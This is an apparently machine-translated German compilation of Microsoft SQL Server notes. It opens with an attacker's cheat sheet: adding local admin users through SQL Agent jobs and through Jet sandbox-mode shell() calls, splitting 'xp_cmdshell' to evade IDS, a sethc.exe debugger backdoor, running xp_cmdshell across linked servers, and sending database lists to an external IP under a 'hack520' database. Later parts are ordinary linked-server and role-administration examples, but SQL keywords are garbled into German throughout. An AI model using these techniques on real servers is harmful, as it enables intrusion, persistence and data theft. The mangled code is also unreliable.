Null,'x', Null,'1','CMDEXEC','cmd /c Net-User-Admin-Admin /add'
          Exec sp_add_jobserver

Null, 'x', @@servername exec sp_start_job 'x'















Viele SA haben mit vielen Maschinen direkt im Sandbox-Modus Erfolg gehabt, aber ich habe das nie geübt und weiß nicht, wie hoch die Erfolgsquote ist. Wenn die Verlängerung entfernt wird, zuerst

Stellen Sie den Lese- und Schreibspeicher im Register wieder her.
dbcc addendedproc ('xp_regread', 'xpstar.dll')
dbcc addendedproc

('xp_regwrite','xpstar.dll')



Der geschützte Modus des Sandkastens wurde behoben
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet

\4.0\Engines','SandBoxMode','REG_DWORD',0; --



Prüfen Sie, ob der Wert 'SandBoxMode' auf 0 gesetzt wurde.


Geschäftsführer master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', SOFTWARE

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Ruf schließlich den Sandbox-Modus auf
Select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c NET User User Passwd /add")')







Wenn der Sandbox-Schutzmodus nicht "aus" ist, wird ein Fehler gemeldet:
          Server: Msg 7357, Level 16, Zustand 2, Zeile 1

Es konnte das Objekt 'select shell("cmd.exe /c net user user passwd /add")' nicht handhaben. OLE DB stellt Programme bereit

Das Vorwort 'microsoft.jet.oledb.4.0' zeigt an, dass es keine Spalten im Objekt gibt.

OLE DB Fehlerverfolgung [Nicht-Schnittstellenfehler: OLE-DB-Anbieter kann das Objekt nicht verarbeiten, da das Objekt

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

Benutzer passwd /add")']。


2、
Wenn die .mdb nicht existiert oder der Eingabepfad falsch ist
           Server: Msg 7399, Stufe 16, Zustand 1, Zeile 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [OLE/DB-Anbieter hat Nachricht zurückgegeben:

Datei 'C:\WINDOWS\system32\ias\dnary1.mdb' nicht gefunden. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned returned

0x80004005: ]。


3. Wenn während des Eingabeprozesses mehr Felder vorhanden sind, wird ebenfalls ein Fehler gemeldet. Beachten Sie das besonders, viele Menschen suchen direkt online nach Artikeln

Füge es ein und führe es aus.
          Server: Msg 7357, Level 16, Zustand 2, Zeile 1
          Kein Objekt 'select verarbeitet'

shell("cmd.exe /c net user user passwd /add")'。
Der OLE-Datenbankanbieter 'microsoft.jet.oledb.4.0' gibt an, dass es keine Spalten im Objekt gibt.

OLE DB Fehlerverfolgung [Nicht-Schnittstellenfehler:
OLE-Datenbankanbieter kann das Objekt nicht verarbeiten, da das Objekt hat

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c user user

passwd /add")']。


4、
Wenn die MDB-Berechtigungen und cmd.exe Berechtigungen falsch sind, tritt das Problem ebenfalls auf.
          Wenn die MDB-Berechtigungen falsch sind,
           Server: Eliminieren

Zins 7320, Ebene 16, Bundesstaat 2, Zeile 1

Er konnte nicht antworten
Der OLE DB-Anbieter 'Microsoft.Jet.OLEDB.4.0' führt die Abfrage aus.
           [OLE/DB-Anbieter zurückgegeben

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Wenn die Netzberechtigung falsch ist, gibt es keine Aufforderung.

Die letzte Möglichkeit, die Autorität zu erhöhen, besteht darin, die System-ias.mdb und cmd.exe unter dem aktuellen Webverzeichnis net.exe drei Dateien hochzuladen.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe user user passwd /add")')
          Fügen Sie erfolgreich einen Computerbenutzer hinzu.






Das Aufteilen von CMDSHELL umgeht IDS         
Deklariere @a Sysname-Set @a='xp_'+'cmdshell' exec @a 'ipconfig'
Erklären

@a Sysname-Set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Bearbeitung von Register-Entführungsverschiebung
Exec Master.. xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT

\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows

\system32\cmd.exe an'; --



Abfrage des Linkservers
auswählen

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers
auswählen

srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam

e,isremote,rpc,dataaccess from master.dbo.sysservers



Abfrage linkserver2
Wählen Sie einen bestimmten Hostname,db_name(dbid),net_address,loginame,program_name aus

Meister.. SysProcesses



Abfrage des Linkservers
und andere eingeloggte Nutzer
Wählen Sie * aus [192.168.1.1].master.dbo.syslogins



Abfrage von LinkServer
Alle Datenbanken
Wählen Sie * aus linkedSrvWeb.master.dbo.sysdatabases



Erweiterte Speicherung auf LinkServer durchführen
Exec [IP].master.dbo.xp_cmdshell



Abfrage aller Tabellen auf dem Linkserver
Auswählen * aus [ip].master.dbo.sysobjects








Wähle * aus OpenRowset aus

('sqloledb','server=IP; uid=Benutzer; pwd=passwort','select @@version')


wählen * aus openquery([LINKSERVER)

name]", 'wähle @@version')




wählen * aus openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')')




Wählen Sie * aus OpenQuery(GM_SERVER,'select * aus SysObjects aus, wobei xType = (''U''')')


Wählen Sie * aus

openquery(NDOORS,'Select IS_MEMBER(''db_owner'')')




Select* aus OpenQuery(toatdeweb,'select

srvname von master.dbo.sysservers')


In OpenDatasource einfügen

('sqloledb','server=222.241.95.12; uid=SCD; pwd=A123520; database=hack520').hack520.dbo.zhu select

Name von master.dbo.sysdatabases
create database hack520 Erstelle TABELLE zhu(name nvarchar(256)

null); Erstelle TABELLE J8(id int NULL,name nvarchar(256) null);


Wählen Sie * aus OpenQuery

(toatdeweb,'set fmtonly off exec master.dbo.xp_cmdshell ''net user'')


Exec Master.. xp_dirtree

'c:\',1,1
Führen Sie ein Abfrageverzeichnis durch


Exec Links.Master.. xp_cmdshell 'ipconfig'


Selectiere * aus OpenQuery(toatdeweb,'set

fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')



Verbinden Sie mysql Select * von Mem_DB. UserDB.dbo.AdminList


EXEC MASTER.. XP_dirtree 'c:\',1,1




Exekutiv

master.dbo.xp_cmdshell 'dir'


Anzahl auswählen(*) aus [anzeigen]
Abfrage, wie viele Daten in der aktuellen Tabelle enthalten sind




Auswählen Sie Distinct Hostname,db_name(dbid),net_address,loginame,program_name

von Meister.. SysProcesses






Wähle * aus GameDB01 aus. Server01.dbo.cabal_character_table wo Name='

Schwein'





Wenn du sie löschst, steht da: Die Datenbank wird genutzt und kann nicht gelöscht werden.


Klicken Sie auf die Datenbank, die Sie löschen möchten, um die Ereignisanzeige zu öffnen.


Eingabe:


Verwendung   

Meister
los
Dann kommen Folgendes ins Spiel:
Erklären Sie @d Varchar(8000)
Set @d= ' '
Wählen Sie @d=@d+ ' Kill   

'+cast(spid als varchar)+char(13)
von Meister.. SysProcesses bei dem dbid=db_id('Bibliotheksname')
exec(@d)
--
Verwenden Sie zuerst Code, um den Prozess zu löschen, der sich mit dieser Datenbank verbindet.












MSSQL betreibt Oracle über LinkServer






1) Oracle auf dem SQL_SERVER Server von 2005 installieren

9i-Klient. Angenommen, installiere im Verzeichnis C:\ora92i\. Wenn D: eine NTFS-Partition ist, musst du das installierte ORACLE-Verzeichnis als das verwendete Verzeichnis festlegen

Abonnenten haben das Recht, sie zu veröffentlichen, hinzuzufügen und zu löschen.


2)
Konfigurieren Sie die Datei C:\ora92i\network\ADMIN\tnsnames.ora. (Der folgende rote Text ist ein Beispiel für eine Konfiguration)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESSE = (PROTOKOLL = TCP)(HOST = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = Ork)


)


)


3)
Führen Sie den folgenden Befehl im DOS-Modus aus, um sicherzustellen, dass der ORACLE-Client korrekt installiert ist.


sqlplus user/password@ORCL


4)
Start öffnen - Control Panel - Services und bestätigen, dass der Distributed Transaction Coordinator Service gestartet wurde.



5) Open SQL SERVER Management Studio, Instanzname (ORCL) – Serverobjekt (Rechtsklick) – Neuer Verbindungsserver.


1.      


Link-Server: Schreibe den Namen des verknüpften Servers, wie zum Beispiel OracleTest


2.         
Servertyp, wählen Sie eine andere Datenquelle aus


3. Zugangsschnittstelle:
Select Oracle Provider für OLE DB


4. Produktname: Write Oracle


5. Datenquelle: Artikel

Der Dienstname ist in der tnsnames.ora-Datei konfiguriert, wie zum Beispiel ORCL


6.         
Zugriffsschnittstellen-String: userid=sys als sysdba; Passwort=Passwort


7.         
Auf der Seite "Sicherheitsoptionen auswählen" verwenden Sie diesen Installationskontext, um eine Verbindung herzustellen:


a) Remote-Login: Benutzer (anderer Benutzer, nicht Sys)


b)      

    Passwort verwenden: Passwort


8. Setzen Sie "NT AUTHORITY\SYSTEM" beim lokalen Login, Remote User System und setzen Sie das Passwort


9.

         Bist du sicher


6) Es gibt zwei Möglichkeiten, SQL zu schreiben


a) Verwendung der T-SQL-Syntax:


           AUSWÄHLEN * AUS

OraTest.ERP.BAS_ITEM_CLASS


           Beachten Sie, dass Sie bei der Eingabe von SQL-Anweisungen im SQL Query Analyzer auf das chinesische Vollbreiten- und Halbbreiten-Switching achten sollten

Weg!


b) PLSQL-Syntax verwenden:
           AUSWÄHLEN * VON openquery(OraTest,'SELECT * FROM

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Die zweite Zugriffsmethode ist etwa 50 % schneller als die erste; Die zweite Zugriffsmethode ist direkt verbunden

ORACLE ist vergleichbar; Die First-Access-Methode kann zu unerwarteten Fehlern führen, wie zum Beispiel:
           Die Tabelle existiert nicht, ebenso wenig wie der aktuelle Benutzer

Es gibt keinen Zugang zum Tisch, und so weiter.


           d) Wenn die zu öffnende Spalte Datentypen ohne Genauigkeit verwendet, sind beide

Dies ist ein Fehler von ORACLE, der nicht behoben werden kann und nur durch spezielle Behandlung von Abfrageanweisungen vermieden werden kann:


     Die vom OLE-DB-Anbieter 'OraOLEDB.Oracle' bereitgestellten Metadaten für die Spalten sind inkonsistent. Metadateninformationen werden bei der Ausführung geändert.










mssql hinzugefügt

Den Benutzer löschen und Berechtigungen erteilen


Verwenden Sie Ihren Bibliotheksnamen   
los   
--Benutzer hinzufügen   
Exec sp_addlogin 'Test' – Login hinzufügen   
Exekutiv

sp_grantdbaccess N'test' – macht es zu einem legitimen Nutzer der aktuellen Datenbank   
Exec sp_addrolemember N'db_owner',

N'test' – gewährt alle Berechtigungen für ihre eigene Datenbank   
--Dies schafft Benutzer, die nur auf ihre eigene Datenbank und die enthaltenen Datenbanken zugreifen können

Öffentliche Tabelle für Gastnutzer   
los   
--Testbenutzer entfernen   
Exec sp_revokedbaccess N'test' – Zugriff auf die Datenbank entfernen

Grenze   
exec sp_droplogin N'test' – Login löschen   
Wenn du es im Enterprise Manager erstellst, verwende:   
Enterprise Manager – Sicherheit

Sex – Rechtsklick Login – Neuer Login   
Allgemeine Artikel   
--Gib den Benutzernamen im Namen ein   

--Die Authentifizierungsmethode wird entsprechend deinen Bedürfnissen ausgewählt (wenn du Windows-Authentifizierung verwendest, musst du zuerst einen neuen Benutzer unter den Nutzern des Betriebssystems anlegen)   

--Wählen Sie in den Standardeinstellungen den Datenbanknamen aus, auf den Sie für den neuen Benutzer Zugriff haben möchten   
Server-Rollen-Item   
Wähle hier nichts   
Datenbank

Zugriffsgegenstand   
Überprüfe den Namen der Datenbank, auf die du zugreifen möchtest, für den von dir erstellten Benutzer   
Erlauben Sie die Datenbankrolle, aktivieren Sie "öffentlich", "db_ownew".   
Klar, das

Der durch das Beispiel erstellte Benutzer ist derselbe wie der Benutzer, der durch die obige Aussage erstellt wurde   



Der letzte Schritt besteht darin, spezifische Zugriffsberechtigungen für bestimmte Benutzer festzulegen, was auf folgendes minimales Beispiel verwiesen werden kann:   

--Benutzer hinzufügen, die nur auf die angegebene Tabelle zugreifen dürfen:   
exec sp_addlogin 'Benutzername', 'Passwort', 'Standard-Datenbankname'   

--zur Datenbank hinzufügen   
exec sp_grantdbaccess 'Benutzername'   

--Vollständige Tabellenberechtigungen zuweisen   
GEWÄHREN AUSWÄHLEN, EINFÜGEN , AKTUALISIEREN, LÖSCHEN IN TABELLE1 AUF [Benutzername]   
--Berechtigungen bestimmten Spalten zuweisen   
GRANT SELECT , UPDATE IN TABLE1(ID,AA) AUF [Benutzername]   


Für spezifische Sicherheitseinstellungen und theoretisches Wissen siehe bitte SQL Online Help  







Beschreibung der festen Datenbankrolle   
  db_owner Habe volle Berechtigungen in der Datenbank.   

db_accessadmin Du kannst Benutzer-IDs hinzufügen oder entfernen.   

db_securityadmin Kann vollständige Berechtigungen, Objektbesitz, Rollen und Rollenmitgliedschaften verwalten.   

db_ddladmin kann ALLE DDL-Erklärungen ausstellen, aber keine GEWÄHREN, WIDERRUFEN oder ABLEHNEN.   

db_backupoperator kann DBCC-, CHECKPOINT- und BACKUP-Statements ausstellen.   

db_datareader Du kannst alle Daten aus jeder Benutzertabelle in der Datenbank auswählen.   

db_datawriter Du kannst alle Daten in jeder Benutzertabelle in der Datenbank ändern.   

db_denydatareader Du kannst keine Daten aus irgendeiner Benutzertabelle in der Datenbank auswählen.   

db_denydatawriter Du kannst keine Daten in einer Benutzertabelle in der Datenbank ändern.  





Du solltest dich für db_datareader, db_datawriter db_accessadmin entscheiden




5.
Nachdem die SQL-Server-Instanz im Einzelbenutzermodus gestartet wurde, kann das Windows-Administratorkonto das sqlcmd-Tool nutzen, um sich im Windows-Authentifizierungsmodus zu verbinden

SQL Server。 Sie können T-SQL-Befehle wie "sp_addsrvrolemember" verwenden, um einen bestehenden Login zur Sysadmin-Serverrolle hinzuzufügen

Oder erstelle ein neues Login-Konto.
Eine Beispielaussage lautet wie folgt:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';


LOS


Fügen Sie eine Systemadministrator-Berechtigung hinzu








(1) Serverrollen verwalten


In SQL Server gibt es zwei Hauptprozeduren, die das Rollenmanagement von SQL Server implementieren:


sp_addsrvrolemember

und sp_dropsrvrolemember


sp_addsrvrolemember
Du kannst ein Login-Konto zu einer Serverrolle hinzufügen, um sie zu einem Mitglied dieser Serverrolle zu machen. Die Syntax ist wie folgt:
sp_addsrvrolemember

Login, Rolle


sp_dropsrvrolemember
Du kannst ein Login-Konto aus einer Serverrolle löschen, und wenn das Mitglied aus der Serverrolle entfernt wird, hat es diese Serverrolle nicht mehr

Die Berechtigungen sind gesetzt. Die Syntax ist wie folgt:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'role'


Damit hinein

@loginname ist der Name des eingeloggten Benutzers; @rolename ist eine Serverrolle.




(2) Datenbankrollen verwalten


In SQL Server wird das Datenbankmanagement unterstützt

Es gibt sechs Haupttypen gespeicherter Prozeduren, deren spezifische Bedeutungen und Syntax wie folgt sind:


sp_addrole: Verwendet zur Erstellung einer neuen Datenbankrolle;
sp_addrole

Rolle, Eigentümer


sp_droprole: Verwendet, um eine Datenbankrolle aus der aktuellen Datenbankrolle zu entfernen;
sp_droprole Rolle


sp_helprole:

Es wird verwendet, um alle Informationen über alle Datenbankrollen in der aktuellen Datenbank anzuzeigen;
sp_helprole ['Rolle']


sp_addrolemember: Wurde verwendet, um an die Datenbank zu senden.

Fügen Sie Datenbankbenutzer einer Rolle hinzu, die entweder benutzerdefinierte Standardrollen oder feste Datenbankrollen sein können, aber nicht

Bewerbungsrollen.
sp_addrolemember Rolle, security_account


sp_droprolemember: Wurde verwendet, um einen bestimmten Charakter zu löschen

Haushalt;
sp_droprolemember Rolle, security_account


sp_helprolemember: Wird verwendet, um alle Mitglieder einer Datenbankrolle anzuzeigen


sp_helprolemember ['Rolle']






MSSQL LINKSERVER-Abfrage


----------------------------------------------------------------------------------
-- Autor:

htl258(Tony)
-- Datum: 25.06.2010 22:23:18
-- Version: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. Juli 2008, 14:43:34
-- Urheberrecht (c) 1988-2008 Microsoft Corporation
--

Developer Edition auf Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blog : -- Betreff:
SQL-Datenoperationen zwischen verschiedenen Serverdatenbanken
----------------------------------------------------------------------------------
--1.
Einen Linkserver erstellen
--1.1 Einen Linknamen erstellen
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', den Namen des entfernten Servers,

oder IP-Adresse' –
Wenn du einen benutzerdefinierten Instanznamen hast, füge "\Instanzname" hinzu.
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Erstellen Sie einen Login (oder erstellen Sie eine Link-Server-Login-Karte) (wählen Sie einfach eine Richtung)
--1.2.1
Anmeldung mit Windows-Authentifizierung
EXEC sp_addlinkedsrvlogin 'LinkName'
--oder EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Anmeldung mit SQL-Authentifizierung
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Benutzername', 'Passwort'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Link-server-bezogene Datenoperationen
--2.1 Abfragebeispiel
AUSWÄHLEN * AUS LinkName.datenbankname.schema name.table name
/*例如:SELECT *

VON TonyLink.Mydb.dbo.tb */
--
2.2 Importbeispiel
AUSWÄHLEN * IN Tabellenname AUS LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

VON TonyLink.Mydb.dbo.tb */
--
2.3 Update-Beispiel
AKTUALISIEREN LinkName.Datenbankname.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' WO Persons='a' */
--
2.4 Löschbeispiele
DELETE LinkName.Datenbankname.Schema Name.Table Name WO Feldname='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb WO Personen='g' */
--3 über die Zeilenmengenfunktion (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Methode
-
3.1 OPENQUERY-Methode (erfordert die Hilfe des gerade erstellten Linkservers):
--
3.1.1 Abfragebeispiel
SELECT * FROM OPENQUERY(LinkName, 'SELECT * FROM database name. Name der Architektur. Tischname')
/*
Zum Beispiel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importbeispiele
--3.1.2.1 Alle Spalten importieren
OPENQUERY einfügen (LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname

') AUSWÄHLEN * AUS der lokalen Tabelle
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

VON TB */
--3.1.2.2
Importiere die angegebenen Spalten
OPENQUERY einfügen (LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') (Spalte, Spalte...)
SELECT-Spalte,

Spalte... VON der lokalen Tabelle
/*
Zum Beispiel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
AUSWÄHLEN

ENTFERNUNG, LEVEL, Personen VON TB
*/
--3.1.3
Aktualisierungsbeispiele
UPDATEN OPENQUERY(LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') SET-Feld = 'Wert' WO Wort

Abschnitt = 'Zustand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Personen='a' */
--3.1.4
Beispiele löschen
DELETE OPENQUERY(LinkName, 'SELECT * FROM Datenbankname. Name der Architektur. Tabellenname') WO Feldname='Bedingung'
/*例

Zum Beispiel: DELETE OPENQUERY (TonyLink, 'SELECT * FROM Mydb.dbo.tb') WO Persons='g' */
--3.2
OPENROWSET-Methode (du musst den erstellten Linknamen nicht verwenden.) Wenn der verbundene Instanzname nicht der Standard ist, musst du ihn im SQL-Server-Namen oder IP-Adresse einstellen.

"\Instanzname")
--3.2.1 Abfragebeispiel
--3.2.1.1
Abfrage der Windows-Authentifizierungsmethode (eine der folgenden Methoden ist ausreichend)
SELECT * AUS OPENROWSET('SQLOLEDB', 'server=sql servername oder

IP-Adresse; Trusted_Connection=ja', Datenbankname. Name der Architektur. Tischname)
SELECT * FROM OPENROWSET('SQLNCLI',

'server=SQL-Servername oder IP-Adresse; Trusted_Connection=ja', Datenbankname. Name der Architektur. Tischname)
AUSWÄHLEN * AUS

OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; Trusted_Connection=ja','AUSWÄHLEN * AUS der Datenbank

Name. Name der Architektur. Tischname')
SELECT * AUS OPENROWSET('SQLNCLI', 'server=sql server name oder IP-Adresse

Adresse; Trusted_Connection=ja','WÄHLE * AUS Datenbanknamen. Name der Architektur. Tischname')
/*
Zum Beispiel: SELECT * AUS OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Oder: WÄHLE * AUS OPENROWSET AUS

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Oder: SELECT * FROM OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','WÄHLEN *

VON Mydb.dbo.tb')

Or: SELECT * FROM OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','WÄHLEN *

VON Mydb.dbo.tb')
*/
--3.2.1.2 SQL-Authentifizierungsmethodenabfrage (Eine der folgenden Methoden ist ausreichend)
WÄHLE * AUS OPENROWSET AUS

('SQLOLEDB', 'server=SQL-Servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname)
AUSWÄHLEN * AUS

OPENROWSET('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname)
SELECT * AUS OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername; pwd=passwort','SELECT *

FROM Datenbankname. Name der Architektur. Tischname')
SELECT * AUS OPENROWSET('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=

Nutzername; pwd=passwort','AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname')
SELECT * FROM OPENROWSET('SQLOLEDB', 'sql

Servername'; 'Benutzername'; 'Passwort', Datenbankname. Name der Architektur. Tischname)
SELECT * AUS OPENROWSET('SQLNCLI', 'SQL SERVER NAME'

'; 'Benutzername'; 'Passwort', Datenbankname. Name der Architektur. Tischname)
WÄHLEN SIE * AUS OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' Nutzer

name'; 'Passwort', 'AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname')
SELECT * AUS OPENROWSET('SQLNCLI', 'sql server)

name'; 'Benutzername'; 'Passwort', 'AUSWÄHLEN * VOM Datenbanknamen. Name der Architektur. Tischname')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Oder: WÄHLE * AUS OPENROWSET AUS

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Oder: WÄHLE * AUS OPENROWSET AUS

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','SELECT * FROM Mydb.dbo.tb')

oder: SELECT * FROM OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','AUSWÄHLEN * AUS

Mydb.dbo.tb')

oder: WÄHLEN * AUS OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

oder: SELECT * AUS OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

oder: WÄHLEN * AUS OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','AUSWÄHLEN * AUS Mydb.dbo.tb')

oder: SELECT * AUS OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','AUSWÄHLEN * AUS Mydb.dbo.tb')
*/
--3.2.2 Importbeispiel
--3.2.2.1 Alle Spalten importieren
INSERT OPENROWSET('SQLOLEDB', 'server=sql server name oder IP-Adresse

Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Name der Architektur. Tischname)
AUSWÄHLEN * AUS der lokalen Tabelle
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
AUSWÄHLEN * AUS TB
*/
--3.2.2.2 Import

Spezifiziere Spalten
INSERT OPENROWSET('SQLOLEDB', 'server=sql servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Gestell

Name des Konstrukts. Tabellenname) (Spalte, Spalte...)
SELECT-Spalte, Spalte... VON der lokalen Tabelle
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(ENTFERNUNG,LEVEL,Personen)
AUSWÄHLEN

ENTFERNUNG, LEVEL, Personen VON TB
*/
--Hinweis: Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach die OPENROWSET-Funktion

Der Inhalt ist ausreichend.
--3.2.3 Update-Beispiel
UPDATE OPENROWSET('SQLOLEDB', 'server=sql Server Name oder IP-Adresse; uid=Benutzername

;p wd=password', Datenbankname. Name der Architektur. Tischname)
SET-Feld = 'Wert'
WOBEI Feld = 'Bedingung' =
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
WO Personen='a'
*/
--Hinweis: Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach den Inhalt im OPENROWSET.
--3.2.4 Löschen Sie die Anzeige

Beispiel
DELETE OPENROWSET('SQLOLEDB', 'server=sql servername oder IP-Adresse; uid=Benutzername; pwd=passwort', Datenbankname. Schema-Name

.Tabellenname)
WO Feldname='Bedingung'
/*
Zum Beispiel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
WOBEI

Personen='g'
*/
--Hinweis:
Für weitere alternative Methoden siehe das .2.1-Abfragebeispiel, ersetzen Sie einfach den Inhalt im OPENROWSET.
--3.3 OPENDATASOURCE-Methode

(Du musst den erstellten Linknamen nicht verwenden.) Wenn der Instanzname der Verbindung nicht standardmäßig ist, musst du \instance name nach dem SQL-Servernamen oder der IP-Adresse hinzufügen

")
--3.3.1
Abfragebeispiel
--3.3.1.1 Windows-Authentifizierungsmethodenabfrage (Eine der folgenden Methoden ist ausreichend)
SELECT * AUS OPENDATASOURCE('SQLOLEDB',

'server=SQL-Servername oder IP-Adresse; Trusted_Connection=ja'). Datenbankname. Name der Architektur. Tabellenname
AUSWÄHLEN * AUS

OPENDATASOURCE('SQLNCLI', 'server=sql Server Name oder IP-Adresse; Trusted_Connection=ja'). Datenbankname. Name der Architektur.

Tabellenname
/*
Zum Beispiel: SELECT * AUS OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb

Oder: WÄHLEN * AUS OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
*/
--3.3.1.2
Abfrage der SQL-Authentifizierungsmethode (eine der folgenden Methoden ist ausreichend)
WÄHLEN * AUS OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder

IP-Adresse; uid=Benutzername; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
WÄHLEN * AUS OPENDATASOURCE('SQLNCLI', 'server=sql Server Name oder IP-Adresse; uid=Benutzer

Name; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
SELECT * FROM OPENDATASOURCE('SQLOLEDB', 'Data Source=sql server name oder ip-adresse)

Adresse; uid=Benutzername; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Data Source=sql servername oder IP-Adresse)

Adresse; uid=Benutzername; pwd=passwort').
Datenbankname. Name der Architektur. Tabellenname
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oder: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oder: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data

Quelle=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Oder: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data

Quelle=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Alle Spalten importieren
OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder IP-Adresse einfügen; uid=Benutzername; pwd=passwort').

Laut dem Namen der Bibliothek. Name der Architektur. Tabellenname
AUSWÄHLEN * AUS der lokalen Tabelle
/*
Zum Beispiel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
AUSWÄHLEN

* VON TBB
*/
--3.3.2.2
Importiere die angegebenen Spalten
OPENDATASOURCE('SQLOLEDB', 'server=sql servername oder IP-Adresse einfügen; uid=Benutzername; pwd=passwort').

Laut dem Namen der Bibliothek. Name der Architektur. Tabellenname (Spalte, Spalte...)
